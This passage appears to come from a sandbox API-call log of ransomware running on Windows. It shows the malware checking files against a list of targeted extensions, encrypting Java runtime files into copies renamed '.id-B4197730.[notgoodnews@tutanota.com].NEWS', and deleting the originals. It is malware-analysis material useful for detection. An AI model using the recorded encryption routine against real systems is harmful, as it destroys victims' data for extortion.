(lpString1=".xls", lpString2=".jfc") returned 1 [0164.124] lstrlenW (lpString=".xlsx") returned 5 [0164.124] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0164.124] lstrlenW (lpString=".ppt") returned 4 [0164.124] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0164.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0164.124] lstrlenW (lpString=".zip") returned 4 [0164.124] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0164.124] lstrlenW (lpString=".rar") returned 4 [0164.124] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0164.124] lstrlenW (lpString=".bz2") returned 4 [0164.124] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0164.124] lstrlenW (lpString=".7z") returned 3 [0164.124] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0164.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0164.124] lstrlenW (lpString=".dbf") returned 4 [0164.124] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0164.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0164.124] lstrlenW (lpString=".1cd") returned 4 [0164.124] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0164.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0164.124] lstrlenW (lpString=".jpg") returned 4 [0164.124] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0164.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0164.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0164.125] lstrlenW (lpString=".doc") returned 4 [0164.125] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0164.125] lstrlenW (lpString=".docx") returned 5 [0164.125] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0164.125] lstrlenW (lpString=".pdf") returned 4 [0164.125] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0164.125] lstrlenW (lpString=".xls") returned 4 [0164.125] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0164.125] lstrlenW (lpString=".xlsx") returned 5 [0164.125] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0164.125] lstrlenW (lpString=".ppt") returned 4 [0164.125] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0164.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0164.125] lstrlenW (lpString=".zip") returned 4 [0164.125] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0164.125] lstrlenW (lpString=".rar") returned 4 [0164.125] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0164.125] lstrlenW (lpString=".bz2") returned 4 [0164.125] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0164.125] lstrlenW (lpString=".7z") returned 3 [0164.125] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0164.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0164.125] lstrlenW (lpString=".dbf") returned 4 [0164.125] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0164.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0164.125] lstrlenW (lpString=".1cd") returned 4 [0164.125] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0164.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0164.125] lstrlenW (lpString=".jpg") returned 4 [0164.125] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0164.126] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0164.126] lstrlenW (lpString="jfr.jar") returned 7 [0164.126] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0164.127] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=560581) returned 1 [0164.127] CloseHandle (hObject=0x4c4) returned 1 [0164.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20 [0164.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0164.128] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0164.128] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.128] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.128] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0164.129] GetLastError () returned 0x0 [0164.129] ReadFile (in: hFile=0x4c4, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x88dc5, lpOverlapped=0x0) returned 1 [0164.482] WriteFile (in: hFile=0x4f4, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x88dd0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x88dd0, lpOverlapped=0x0) returned 1 [0164.495] ReadFile (in: hFile=0x4c4, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0164.495] WriteFile (in: hFile=0x4f4, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xe2, lpOverlapped=0x0) returned 1 [0164.495] SetEndOfFile (hFile=0x4f4) returned 1 [0164.529] CloseHandle (hObject=0x4f4) returned 1 [0164.529] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.529] SetEndOfFile (hFile=0x4c4) returned 1 [0164.764] CloseHandle (hObject=0x4c4) returned 1 [0164.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0164.780] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 1 [0165.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0165.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0165.181] lstrlenW (lpString=".doc") returned 4 [0165.181] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0165.181] lstrlenW (lpString=".docx") returned 5 [0165.181] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0165.181] lstrlenW (lpString=".pdf") returned 4 [0165.181] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0165.181] lstrlenW (lpString=".xls") returned 4 [0165.181] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0165.181] lstrlenW (lpString=".xlsx") returned 5 [0165.181] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0165.181] lstrlenW (lpString=".ppt") returned 4 [0165.181] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0165.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0165.181] lstrlenW (lpString=".zip") returned 4 [0165.181] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0165.181] lstrlenW (lpString=".rar") returned 4 [0165.181] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0165.182] lstrlenW (lpString=".bz2") returned 4 [0165.182] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0165.182] lstrlenW (lpString=".7z") returned 3 [0165.182] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0165.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0165.182] lstrlenW (lpString=".dbf") returned 4 [0165.182] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0165.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0165.182] lstrlenW (lpString=".1cd") returned 4 [0165.182] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0165.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0165.182] lstrlenW (lpString=".jpg") returned 4 [0165.182] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0165.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0165.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0165.182] lstrlenW (lpString=".doc") returned 4 [0165.183] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0165.183] lstrlenW (lpString=".docx") returned 5 [0165.183] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0165.183] lstrlenW (lpString=".pdf") returned 4 [0165.183] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0165.183] lstrlenW (lpString=".xls") returned 4 [0165.183] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0165.183] lstrlenW (lpString=".xlsx") returned 5 [0165.183] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0165.183] lstrlenW (lpString=".ppt") returned 4 [0165.183] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0165.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0165.183] lstrlenW (lpString=".zip") returned 4 [0165.183] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0165.183] lstrlenW (lpString=".rar") returned 4 [0165.183] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0165.183] lstrlenW (lpString=".bz2") returned 4 [0165.183] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0165.183] lstrlenW (lpString=".7z") returned 3 [0165.183] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0165.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0165.183] lstrlenW (lpString=".dbf") returned 4 [0165.183] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0165.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0165.183] lstrlenW (lpString=".1cd") returned 4 [0165.183] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0165.183] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0165.183] lstrlenW (lpString=".jpg") returned 4 [0165.183] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0165.184] lstrcmpiW (lpString1=".template", lpString2=".NEWS") returned 1 [0165.184] lstrlenW (lpString="jmxremote.password.template") returned 27 [0165.184] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0165.637] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=2856) returned 1 [0165.637] CloseHandle (hObject=0x528) returned 1 [0165.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20 [0165.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.639] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0165.639] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.640] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.640] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0165.642] GetLastError () returned 0x0 [0165.642] ReadFile (in: hFile=0x528, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0xb28, lpOverlapped=0x0) returned 1 [0165.644] WriteFile (in: hFile=0x4e8, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xb30, lpOverlapped=0x0) returned 1 [0165.645] ReadFile (in: hFile=0x528, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.645] WriteFile (in: hFile=0x4e8, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x10a, lpOverlapped=0x0) returned 1 [0165.645] SetEndOfFile (hFile=0x4e8) returned 1 [0165.645] CloseHandle (hObject=0x4e8) returned 1 [0165.645] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.645] SetEndOfFile (hFile=0x528) returned 1 [0165.648] CloseHandle (hObject=0x528) returned 1 [0165.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0165.648] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 1 [0165.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0165.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0165.649] lstrlenW (lpString=".doc") returned 4 [0165.649] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0165.649] lstrlenW (lpString=".docx") returned 5 [0165.649] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0165.649] lstrlenW (lpString=".pdf") returned 4 [0165.649] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0165.649] lstrlenW (lpString=".xls") returned 4 [0165.649] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0165.649] lstrlenW (lpString=".xlsx") returned 5 [0165.649] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0165.649] lstrlenW (lpString=".ppt") returned 4 [0165.649] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0165.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0165.649] lstrlenW (lpString=".zip") returned 4 [0165.650] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0165.650] lstrlenW (lpString=".rar") returned 4 [0165.650] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0165.650] lstrlenW (lpString=".bz2") returned 4 [0165.650] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0165.650] lstrlenW (lpString=".7z") returned 3 [0165.650] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0165.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0165.650] lstrlenW (lpString=".dbf") returned 4 [0165.650] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0165.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0165.650] lstrlenW (lpString=".1cd") returned 4 [0165.650] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0165.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0165.650] lstrlenW (lpString=".jpg") returned 4 [0165.650] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0165.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0165.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0165.650] lstrlenW (lpString=".doc") returned 4 [0165.650] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0165.650] lstrlenW (lpString=".docx") returned 5 [0165.650] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0165.650] lstrlenW (lpString=".pdf") returned 4 [0165.650] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0165.650] lstrlenW (lpString=".xls") returned 4 [0165.650] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0165.650] lstrlenW (lpString=".xlsx") returned 5 [0165.650] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0165.650] lstrlenW (lpString=".ppt") returned 4 [0165.650] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0165.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0165.650] lstrlenW (lpString=".zip") returned 4 [0165.650] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0165.650] lstrlenW (lpString=".rar") returned 4 [0165.650] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0165.651] lstrlenW (lpString=".bz2") returned 4 [0165.651] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0165.651] lstrlenW (lpString=".7z") returned 3 [0165.651] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0165.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0165.651] lstrlenW (lpString=".dbf") returned 4 [0165.651] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0165.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0165.651] lstrlenW (lpString=".1cd") returned 4 [0165.651] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0165.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0165.651] lstrlenW (lpString=".jpg") returned 4 [0165.651] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0165.651] lstrcmpiW (lpString1=".template", lpString2=".NEWS") returned 1 [0165.651] lstrlenW (lpString="snmp.acl.template") returned 17 [0165.651] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0165.653] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=3376) returned 1 [0165.653] CloseHandle (hObject=0x528) returned 1 [0165.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20 [0165.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.653] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0165.653] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.654] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.654] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0165.654] GetLastError () returned 0x0 [0165.654] ReadFile (in: hFile=0x528, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0xd30, lpOverlapped=0x0) returned 1 [0165.656] WriteFile (in: hFile=0x4e8, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xd40, lpOverlapped=0x0) returned 1 [0165.657] ReadFile (in: hFile=0x528, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.657] WriteFile (in: hFile=0x4e8, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0165.657] SetEndOfFile (hFile=0x4e8) returned 1 [0165.657] CloseHandle (hObject=0x4e8) returned 1 [0165.657] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.657] SetEndOfFile (hFile=0x528) returned 1 [0165.661] CloseHandle (hObject=0x528) returned 1 [0165.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0165.661] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 1 [0165.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0165.662] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0165.662] lstrlenW (lpString=".doc") returned 4 [0165.662] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0165.662] lstrlenW (lpString=".docx") returned 5 [0165.662] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0165.662] lstrlenW (lpString=".pdf") returned 4 [0165.662] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0165.662] lstrlenW (lpString=".xls") returned 4 [0165.662] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0165.662] lstrlenW (lpString=".xlsx") returned 5 [0165.662] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0165.663] lstrlenW (lpString=".ppt") returned 4 [0165.663] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0165.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0165.663] lstrlenW (lpString=".zip") returned 4 [0165.663] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0165.663] lstrlenW (lpString=".rar") returned 4 [0165.663] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0165.663] lstrlenW (lpString=".bz2") returned 4 [0165.663] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0165.663] lstrlenW (lpString=".7z") returned 3 [0165.663] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0165.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0165.663] lstrlenW (lpString=".dbf") returned 4 [0165.663] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0165.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0165.663] lstrlenW (lpString=".1cd") returned 4 [0165.663] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0165.663] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 